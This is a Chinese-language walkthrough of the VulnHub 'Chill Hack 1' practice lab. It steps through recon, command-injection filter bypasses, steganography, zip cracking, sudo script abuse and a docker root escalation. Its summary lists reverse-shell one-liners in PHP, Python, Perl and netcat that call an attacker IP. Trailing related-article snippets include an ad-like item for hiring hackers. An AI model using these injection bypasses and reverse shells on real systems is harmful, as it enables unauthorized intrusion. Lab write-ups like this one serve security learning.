VulnHub-Chill-Hack 1 靶场渗透测试

访客4年前黑客资讯888

作者:ch4nge
时间:2021.1.25

靶场信息:

地址:https://www.vulnhub.com/entry/chill-hack-1,622/
发布日期:2020年12月9日
难度:容易/中级
目标:获取标志Flag: 2 (User and root)

运行:VMware Workstation 16.x Pro(默认的NAT *** 模式,VMware比VirtualBox更好地工作)

hint :枚举

前言

本次靶场使用VMware Workstation 16.x Pro进行搭建运行。将我的kali系统和靶机一样使用NAT *** 模式。本次演练使用kali系统按照渗透测试的过程进行操作。在渗透的时候需要使用命令执行得到一个A用户shell,通过一个图片信息得到B用户的ssh密码,并在B用户上找到了存在sudo缺陷的脚本得到C用户的shell,并拿到user-flag,而B用户在docker组,利用docker进行提权至root。文章有不对的地方欢迎师傅指正~


一、信息搜集

1. 靶机ip

使用nmap进行扫描,得到ip 10.0.0.131

1611487128_600d579890af9aa84f64b.png!small?1611487128830

2. 开放端口 服务

1611487206_600d57e604b724ae94666.png!small?1611487206190

PORT          STATE          SERVICE              VERSION
21/tcp        open            ftp                      vsftpd 3.0.3
22/tcp        open            ssh                     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp        open            http                    Apache httpd 2.4.29 ((Ubuntu))

3. ftp匿名访问

1611487433_600d58c913a4f93142bc9.png!small?1611487433270

下载文件,是一个提示

Anurodh told me that there is some filtering on strings being put in the command -- Apaar

1611487521_600d59215e679dddc8139.png!small?1611487521581


4. 网站信息搜集

首页

1611487674_600d59ba60c3903041f0f.png!small

二、漏洞探测

1. 目录扫描

dirb http://10.0.0.131/

1611488305_600d5c31df79f617b1530.png!small?1611488306174

访问

http://10.0.0.131/secret/

1611488385_600d5c81b235652be2ce7.png!small?1611488385979

漏洞来的太快就像龙卷风~命令执行漏洞

三、漏洞利用

1. 命令执行漏洞利用

前面ftp里面拿到的提示说有字符串的过滤,想办法绕过

经过尝试发现可以使用管道符进行绕过

whoami|ls

1611504256_600d9a8030559301d9740.png!small?1611504256259

2. php反弹shell

whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'

1611504355_600d9ae37a2c0cc273981.png!small?1611504356043

3. 信息搜集

在/var/www/files路径中发现hacker.php

1611504392_600d9b087954effd62720.png!small?1611504392694

查看文件内容,得到提示

1611504434_600d9b32218f620127eca.png!small?1611504434386

在黑暗中看!你会找到答案的

继续寻找可用信息,在/var/www/files/images路径找到hacker-with-laptop_23-2147985341.jpg

由于靶机是CTF模式,是有可能存在信息隐写的。看图片名字应该是有信息隐藏在图片里面了,使用python httpserver搭建服务,将文件下载到本地

发现使用steghide可以将信息提取出来,得到backup.zip,解密需要密码

steghide extract -sf hacker-with-laptop_23-2147985341.jpg

1611504500_600d9b74162e67160b4f2.png!small?1611504500316

使用fcrackzip工具暴力破解zip密码,使用kali系统自带的/usr/share/wordlists/rockyou.txt字典

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt  backup.zip

1611504622_600d9bee7d5d808153771.png!small?1611504622593

得到密码 pass1word

解压得到source_code.php

<html>
<head>
        Admin Portal
</head>
        <title> Site Under Development ... </title>
        <body>
                <form method="POST">
                        Username: <input type="text" name="name" placeholder="username"><br><br>
                        Email: <input type="email" name="email" placeholder="email"><br><br>
                        Password: <input type="password" name="password" placeholder="password">
                        <input type="submit" name="submit" value="Submit"> 
                </form>
<?php
        if(isset($_POST['submit']))
        {
                $email=$_POST["email"];
                $password=$_POST["password"];
                if(base64_encode($password)=="IWQwbnRLbjB3bVlwQHNzdzByZA==")
                { 
                        $random=rand(1000,9999);?><br><br><br>
                        <form method="POST">
                                Enter the OTP: <input type="number" name="otp">
                                <input type="submit" name="submitOtp" value="Submit">
                        </form>
                <?php   mail($email,"OTP for authentication",$random);
                        if(isset($_POST["submitOtp"]))
                                {
                                        $otp=$_POST["otp"];
                                        if($otp==$random)
                                        {
                                                echo "Welcome Anurodh!";
                                                header("Location: authenticated.php");
                                        }
                                        else
                                        {
                                                echo "Invalid OTP";
                                        }
                                }
                }
                else
                {
                        echo "Invalid Username or Password";
                }
        }
?>
</html>

根据文件内容可以判断出这是登录页面的程序,判断输入的密码是否正确,正确密码的base64编码是

IWQwbnRLbjB3bVlwQHNzdzByZA==
解密:
? root@ch4nge  ~/file/VulnHub/Chill_Hack  echo -n "IWQwbnRLbjB3bVlwQHNzdzByZA==" |base64 -d
!d0ntKn0wmYp@ssw0rd#?

密码:!d0ntKn0wmYp@ssw0rd

猜测密码是ssh用户的,查看ssh用户名anurodh、apaar、aurick

1611505224_600d9e48f31cd62513711.png!small?1611505225121

分别使用ssh登录,在登录anurodh用户时成功

1611504870_600d9ce6728159acf8fac.png!small?1611504870648

在/home/apaar路径发现local.txt文件,没有读取权限。尝试获取apaar用户权限或者root权限进行读取

1611505304_600d9e98a50c36a36865d.png!small?1611505304815

4. 获取apaar用户权限

使用sudo -l查看可以以sudo的身份运行的命令

anurodh@ubuntu:~$ sudo -l
Matching Defaults entries for anurodh on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/ *** in\:/usr/local/bin\:/usr/ *** in\:/usr/bin\:/ *** in\:/bin\:/snap/bin

User anurodh may run the following commands on ubuntu:
    (apaar : ALL) NOPASSWD: /home/apaar/.helpline.sh

发现可以将/home/apaar/.helpline.sh作为apaar用户运行,且不需要输入密码

查看该文件,它会提示输入两次数据,然后将它们执行/dev/null,且第二次输入的命令可以被执行

1611505682_600da0129f07db173252b.png!small?1611505682763

这里使用apaar用户运行文件,并在第二次信息输入/bin/bash,以尝试获取apaar用户的shell

1611505840_600da0b0921111af2023d.png!small?1611505840745

成功了!使用python3升级这个shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

1611505889_600da0e13d1be93d126bc.png!small?1611505889382

5. 得到之一个标志 USER-FLAG

{USER-FLAG: e8vpd3323cfvlp0qpxxx9qtr5iq37oww}

6. 使用LinEnum.sh获取apaar和anurodh用户的信息

LinEnum.sh是一个非常好用的脚本,有温馨提示,LinEnum脚本下载

在本地使用python HTTPServer搭建服务,在靶机的shell中下载LinEnum脚本

1611506090_600da1aa8f4988daf5fd8.png!small?1611506090711

运行脚本,得知当前用户(anurodh)在docker用户组(apaar没有)

$ chmod +x LinEnum.sh
$ https://www.freebuf.com/articles/web/LinEnum.sh

1611506269_600da25da147482bc11da.png!small?1611506269713

四、权限提升

1. docker提权

安利一个很好用的网站https://gtfobins.github.io/

在gtfobins搜索docker获取相关信息,得到提权命令,获取root权限

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

1611506425_600da2f94942abfc6c39c.png!small?1611506425411

升级交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

2. 得到第二个标志 ROOT-FLAG

{ROOT-FLAG: w18gfpn9xehsgd3tovhk0hby4gdp89bg}

1611506447_600da30f383398b88bb39.png!small?1611506447371

总结

靶机很友好,网站的命令执行漏洞探测很简单,这里补充一下在此次反弹shell的时候可以用到的 ***

使用管道符绕过过滤

whoami|ls-->ls
whoami|ls /home-->ls /home

php

whoami|php -r '$sock=fsockopen("10.0.0.129",8888);exec("/bin/bash -i <&3 >&3 2>&3");'

python3

whoami|python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.129",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl

whoami|perl -e 'use Socket;$i="10.0.0.129";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
whoami|perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.129:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

nc(netcat)

whoami|rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

使用双引号绕过过滤

whoami""-->whoami
ls""-->ls

反弹shell

rm"" /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

使用分号绕过过滤

ls;whoami-->whoami
ls;ls-->ls

反弹shell

ls;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.129 5555 >/tmp/f

相关文章

快手怎么开直播图解(快手如何24小时循环直播)

快手怎么开直播图解(快手如何24小时循环直播)

现如今很多朋友都喜欢玩快手,可以拍一些有意思的小视频放在自己的快手上,新如今,新版的快手有一个直播功能,但是很多朋友不太会使用,那么快手怎么开直播呢?下面就来具体介绍一下快手开直播的方法。 快手怎么开...

韬光养晦隶书(有关韬光养晦的书法图片)

很多盆友发觉很多人喜爱在办公室或小书房悬架书法字画来提示和鼓励自己。那麼这幅书法字画的实际意义是什么呢?它是掩藏才可以的暗喻,它的优点沒有曝露。借以提示大家调养好自身的内函,不张扬整体规划一些事儿,进...

李添胜(tvb三大金牌监制)

  此刻李添胜已附子信息网和tvb续约一年,将会再开拍3部新剧, 个中一部是有黄浩然,周丽淇主演的《我地如意狼君》   李添胜被称之为香港TVB电视剧金庸武侠剧集专业户。他是香港的金牌监制兼。   是...

微信显示"对方正在输入", 你以为正在给你回复,实在并不是

手机微信显示信息"另一方正在输入", 你以为已经让你回应,实际上并并不是 推荐理由:移动互联的出現,给了结交软件许多 生长趋势的时机。它让客户能够随时的联络,不只节约成本而且进一步提高了沟通交...

黑客技术接单,淘宝找黑客帮忙,怎么找黑客买软件

QQ:1957692七、autossh免暗码登陆request.open('GET', 'http://api.spreaker.com/whoami'); <div class="ro...

2020奇迹暖暖奇迹大陆150题答案汇总 奇迹暖暖奇迹大陆知识问答答案大全

2020奇迹暖暖奇迹大陆150题答案汇总 奇迹暖暖奇迹大陆知识问答答案大全

奇迹暖暖奇迹大陆知识问答答案是什么?奇迹暖暖5月11日新开展的活动玩法奇迹大陆知识问答中,我们需要回答问题来获得奖励,这其中不少问题还是很难的, 相信不少玩家都不能完美地回答全部问题,因此小编带来了2...